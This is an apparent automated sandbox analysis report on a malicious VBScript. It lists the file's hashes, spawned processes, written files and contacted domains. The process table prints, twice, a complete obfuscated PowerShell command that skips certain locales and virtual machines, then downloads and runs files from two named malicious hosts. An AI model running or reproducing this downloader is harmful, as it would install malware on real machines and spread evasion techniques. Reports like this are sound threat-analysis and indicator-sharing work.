File name: | IT669997397048680435897296548509.vbs |
Full analysis: | https://app.any.run/tasks/ed343dd6-9968-48a0-af33-f2a6c871a240 |
Verdict: | Malicious activity |
Analysis date: | April 23, 2019, 13:12:49 |
OS: | Windows 7 Professional Service Pack 1 (build: 7601, 32 bit) |
Indicators: | |
MIME: | text/plain |
File info: | ASCII text, with CRLF, LF line terminators |
MD5: | D5E048C6BC40C7AB98C35F46F14A08FF |
SHA1: | 38CFC769CEBBBBA184EE4569CC801D2FC793960A |
SHA256: | 7AA2A497AA242D8E295DC86228809146D80C0AD301CA07B25442DA7BBFFFE997 |
SSDEEP: | 384:jVJX7ompHvVw1UotJqMAQTAtgn6hJ18HesKW:3LLVuX+dPZsKW |
PID | CMD | Path | Indicators | Parent process |
---|---|---|---|---|
2684 | "C:\Windows\System32\WScript.exe" "C:\Users\admin\AppData\Local\Temp\IT669997397048680435897296548509.vbs" | C:\Windows\System32\WScript.exe | — | explorer.exe |
User: admin Company: Microsoft Corporation Integrity Level: MEDIUM Description: Microsoft ® Windows Based Script Host Exit code: 0 Version: 5.8.7600.16385 | ||||
3412 | powershell -WindowStyle Hidden -Command $a='';105,102,40,32,40,40,71,101,116,45,85,73,67,117,108,116,117,114,101,41,46,78,97,109,101,32,45,109,97,116,99,104,32,39,82,85,124,85,65,124,66,89,124,67,78,39,41,32,45,111,114,32,40,40,71,101,116,45,87,109,105,79,98,106,101,99,116,32,45,99,108,97,115,115,32,87,105,110,51,50,95,67,111,109,112,117,116,101,114,83,121,115,116,101,109,32,45,80,114,111,112,101,114,116,121,32,77,111,100,101,108,41,46,77,111,100,101,108,32,45,109,97,116,99,104,32,39,86,105,114,116,117,97,108,66,111,120,124,86,77,119,97,114,101,124,75,86,77,39,41,32,41,123,32,101,120,105,116,59,32,125,59,36,120,98,116,104,117,99,102,32,61,32,91,83,121,115,116,101,109,46,73,79,46,80,97,116,104,93,58,58,71,101,116,84,101,109,112,80,97,116,104,40,41,59,36,97,116,106,121,32,61,32,74,111,105,110,45,80,97,116,104,32,36,120,98,116,104,117,99,102,32,39,65,100,111,98,101,65,82,46,101,120,101,39,59,36,119,102,103,101,105,32,61,32,39,104,116,116,112,58,47,47,103,105,107,111,46,101,109,101,114,97,108,100,115,117,114,102,115,99,105,101,110,99,101,46,99,111,109,47,97,112,105,63,100,118,105,101,97,119,39,59,36,102,115,118,102,32,61,32,74,111,105,110,45,80,97,116,104,32,36,120,98,116,104,117,99,102,32,39,83,101,97,114,99,104,73,51,50,46,106,115,39,59,36,115,104,102,98,32,61,32,39,104,116,116,112,58,47,47,105,114,109,46,115,107,111,102,105,114,109,46,110,101,116,47,108,50,46,112,104,112,63,118,105,100,61,112,101,99,54,39,59,36,119,118,104,116,121,32,61,32,74,111,105,110,45,80,97,116,104,32,36,120,98,116,104,117,99,102,32,39,118,104,100,118,46,112,100,102,39,59,36,100,115,98,122,102,105,32,61,32,39,104,116,116,112,58,47,47,105,114,109,46,115,107,111,102,105,114,109,46,110,101,116,47,108,50,46,112,104,112,63,118,105,100,61,112,101,99,54,39,59,116,114,121,123,40,78,101,119,45,79,98,106,101,99,116,32,78,101,116,46,87,101,98,67,108,105,101,110,116,41,46,68,111,119,110,108,111,97,100,70,105,108,101,40,36,100,115,98,122,102,105,44,36,102,115,118,102,41,59,83,116,97,114,116,45,80,114,111,99,101,115,115,32,36,102,115,118,102,59,125,99,97,116,99,104,123,125,59,116,114,121,123,40,78,101,119,45,79,98,106,101,99,116,32,78,101,116,46,87,101,98,67,108,105,101,110,116,41,46,68,111,119,110,108,111,97,100,70,105,108,101,40,36,119,102,103,101,105,44,36,97,116,106,121,41,59,83,116,97,114,116,45,80,114,111,99,101,115,115,32,36,97,116,106,121,59,125,99,97,116,99,104,123,125,59,116,114,121,123,40,78,101,119,45,79,98,106,101,99,116,32,78,101,116,46,87,101,98,67,108,105,101,110,116,41,46,68,111,119,110,108,111,97,100,70,105,108,101,40,36,115,104,102,98,44,36,119,118,104,116,121,41,59,83,116,97,114,116,45,80,114,111,99,101,115,115,32,36,119,118,104,116,121,59,125,99,97,116,99,104,123,125,59|%{$a+=[char]$_};iex $a; | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | WScript.exe | |
User: admin Company: Microsoft Corporation Integrity Level: MEDIUM Description: Windows PowerShell Version: 6.1.7600.16385 (win7_rtm.090713-1255) | ||||
2792 | "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -WindowStyle Hidden -Command $a='';105,102,40,32,40,40,71,101,116,45,85,73,67,117,108,116,117,114,101,41,46,78,97,109,101,32,45,109,97,116,99,104,32,39,82,85,124,85,65,124,66,89,124,67,78,39,41,32,45,111,114,32,40,40,71,101,116,45,87,109,105,79,98,106,101,99,116,32,45,99,108,97,115,115,32,87,105,110,51,50,95,67,111,109,112,117,116,101,114,83,121,115,116,101,109,32,45,80,114,111,112,101,114,116,121,32,77,111,100,101,108,41,46,77,111,100,101,108,32,45,109,97,116,99,104,32,39,86,105,114,116,117,97,108,66,111,120,124,86,77,119,97,114,101,124,75,86,77,39,41,32,41,123,32,101,120,105,116,59,32,125,59,36,120,98,116,104,117,99,102,32,61,32,91,83,121,115,116,101,109,46,73,79,46,80,97,116,104,93,58,58,71,101,116,84,101,109,112,80,97,116,104,40,41,59,36,97,116,106,121,32,61,32,74,111,105,110,45,80,97,116,104,32,36,120,98,116,104,117,99,102,32,39,65,100,111,98,101,65,82,46,101,120,101,39,59,36,119,102,103,101,105,32,61,32,39,104,116,116,112,58,47,47,103,105,107,111,46,101,109,101,114,97,108,100,115,117,114,102,115,99,105,101,110,99,101,46,99,111,109,47,97,112,105,63,100,118,105,101,97,119,39,59,36,102,115,118,102,32,61,32,74,111,105,110,45,80,97,116,104,32,36,120,98,116,104,117,99,102,32,39,83,101,97,114,99,104,73,51,50,46,106,115,39,59,36,115,104,102,98,32,61,32,39,104,116,116,112,58,47,47,105,114,109,46,115,107,111,102,105,114,109,46,110,101,116,47,108,50,46,112,104,112,63,118,105,100,61,112,101,99,54,39,59,36,119,118,104,116,121,32,61,32,74,111,105,110,45,80,97,116,104,32,36,120,98,116,104,117,99,102,32,39,118,104,100,118,46,112,100,102,39,59,36,100,115,98,122,102,105,32,61,32,39,104,116,116,112,58,47,47,105,114,109,46,115,107,111,102,105,114,109,46,110,101,116,47,108,50,46,112,104,112,63,118,105,100,61,112,101,99,54,39,59,116,114,121,123,40,78,101,119,45,79,98,106,101,99,116,32,78,101,116,46,87,101,98,67,108,105,101,110,116,41,46,68,111,119,110,108,111,97,100,70,105,108,101,40,36,100,115,98,122,102,105,44,36,102,115,118,102,41,59,83,116,97,114,116,45,80,114,111,99,101,115,115,32,36,102,115,118,102,59,125,99,97,116,99,104,123,125,59,116,114,121,123,40,78,101,119,45,79,98,106,101,99,116,32,78,101,116,46,87,101,98,67,108,105,101,110,116,41,46,68,111,119,110,108,111,97,100,70,105,108,101,40,36,119,102,103,101,105,44,36,97,116,106,121,41,59,83,116,97,114,116,45,80,114,111,99,101,115,115,32,36,97,116,106,121,59,125,99,97,116,99,104,123,125,59,116,114,121,123,40,78,101,119,45,79,98,106,101,99,116,32,78,101,116,46,87,101,98,67,108,105,101,110,116,41,46,68,111,119,110,108,111,97,100,70,105,108,101,40,36,115,104,102,98,44,36,119,118,104,116,121,41,59,83,116,97,114,116,45,80,114,111,99,101,115,115,32,36,119,118,104,116,121,59,125,99,97,116,99,104,123,125,59|%{$a+=[char]$_};iex $a; | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | WScript.exe | |
User: admin Company: Microsoft Corporation Integrity Level: MEDIUM Description: Windows PowerShell Version: 6.1.7600.16385 (win7_rtm.090713-1255) |
PID | Process | Filename | Type | |
---|---|---|---|---|
3412 | powershell.exe | C:\Users\admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\AHQTS75EF88SGMB6BI52.temp | — | |
MD5:— | SHA256:— | |||
2792 | powershell.exe | C:\Users\admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\XNSVBTUQ6UIKM4E2NU2T.temp | — | |
MD5:— | SHA256:— | |||
2792 | powershell.exe | C:\Users\admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\d93f411851d7c929.customDestinations-ms | binary | |
MD5:33B4C42BAF9E3CA295E3BDCD51C02EAF | SHA256:B4273C31A01B0B90869574075D54D52E8098519587F61AE756B69729D0AF86A5 | |||
3412 | powershell.exe | C:\Users\admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\d93f411851d7c929.customDestinations-ms~RF112e31.TMP | binary | |
MD5:33B4C42BAF9E3CA295E3BDCD51C02EAF | SHA256:B4273C31A01B0B90869574075D54D52E8098519587F61AE756B69729D0AF86A5 | |||
3412 | powershell.exe | C:\Users\admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\d93f411851d7c929.customDestinations-ms | binary | |
MD5:33B4C42BAF9E3CA295E3BDCD51C02EAF | SHA256:B4273C31A01B0B90869574075D54D52E8098519587F61AE756B69729D0AF86A5 | |||
2792 | powershell.exe | C:\Users\admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\d93f411851d7c929.customDestinations-ms~RF112e7f.TMP | binary | |
MD5:33B4C42BAF9E3CA295E3BDCD51C02EAF | SHA256:B4273C31A01B0B90869574075D54D52E8098519587F61AE756B69729D0AF86A5 |
PID | Process | Method | HTTP Code | IP | URL | CN | Type | Size | Reputation |
---|---|---|---|---|---|---|---|---|---|
2792 | powershell.exe | GET | — | 185.158.251.243:80 | http://irm.skofirm.net/l2.php?vid=pec6 | NL | — | — | malicious |
— | — | GET | — | 185.158.249.151:80 | http://giko.emeraldsurfscience.com/api?dvieaw | NL | — | — | suspicious |
PID | Process | IP | Domain | ASN | CN | Reputation |
---|---|---|---|---|---|---|
2792 | powershell.exe | 185.158.251.243:80 | irm.skofirm.net | 23media GmbH | NL | suspicious |
— | — | 185.158.249.151:80 | giko.emeraldsurfscience.com | easystores GmbH | NL | suspicious |
Domain | IP | Reputation |
---|---|---|
irm.skofirm.net |
| malicious |
giko.emeraldsurfscience.com |
| suspicious |
dns.msftncsi.com |
| shared |